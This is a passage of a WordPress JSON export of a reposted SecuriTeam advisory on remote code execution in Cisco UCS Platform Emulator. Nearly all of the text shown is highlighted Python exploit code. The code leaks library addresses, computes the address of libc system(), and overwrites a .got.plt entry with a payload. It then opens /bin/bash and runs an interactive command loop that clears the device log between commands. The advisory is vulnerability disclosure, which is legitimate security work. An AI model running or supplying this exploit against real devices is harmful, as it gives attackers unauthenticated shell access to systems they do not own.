class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-85\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;connect local-mgmt&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-86\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-87\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;connect local-mgmt&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-88\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-89\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;show version&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-90\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-91\"><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-92\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-93\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;You should now see on the other terminal message simmilar to &#8220;Error: Already in local-mgmt shell..&#8221; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-94\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&amp;) addres from libsamvsh.so&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-95\"><span class=\"crayon-v\">off3<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">starting_point<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-96\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;-&gt; &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hex<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">off3<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-97\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-98\"><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">off3<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">clidcos_step<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-99\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;-&gt; &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hex<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-100\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[.] Dumping snprintf address from libc&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-101\"><span class=\"crayon-v\">libc_printf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">dump<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8216;s&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-102\"><span class=\"crayon-v\">libc_tmp1_hex<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">binascii<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">hexlify<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_printf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-103\"><span class=\"crayon-v\">libc_snprintf_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_tmp1_hex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-104\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;-&gt; &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hex<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_snprintf_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-105\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[.] Calculating libc system address&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-106\"><span class=\"crayon-v\">libc_base_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">libc_snprintf_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">libc_emulator_snprintf<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-107\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;-&gt; libc base addr = &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hex<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_base_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-108\"><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">libc_base_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">libc_emulator_system<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-109\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;-&gt; system addr = &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hex<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-110\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;n[.] Sending payload..&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-111\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-112\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-113\"><span class=\"crayon-e\">print <\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-114\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;show version&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-115\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-116\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-117\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-118\"><span class=\"crayon-e\">print <\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-119\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;show version&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-120\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-121\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-122\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-123\"><span class=\"crayon-e\">print <\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-124\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;show version&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-125\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-126\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-127\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">clidcosGOTPLT<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-128\"><span class=\"crayon-e\">print <\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">libc_system_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-129\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;show version&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-130\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-131\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-132\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Sleep for fork adjustment..&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-133\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-134\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;ssh \/bin\/bash&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-135\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Ok please type your commands (type exit for exit)&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-136\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-137\"><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">True<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-138\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">n<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">raw_input<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&gt; &#8220;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-139\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;exit&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">n<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-140\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">break<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-141\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-142\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-143\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-144\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print <\/span><span class=\"crayon-e\">readlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0164 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3362\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 01 Nov 2017 05:08:10 +0000<\/strong><\/p>\n<p>Vulnerabilities Summary The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1). Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3362\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Cisco UCS Platform Emulator Remote Code Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11682,11851,10757,12136],"class_list":["post-10226","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-remote-code-execution","tag-remote-command-execution","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10226","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10226"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10226\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10226"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10226"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=10226"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}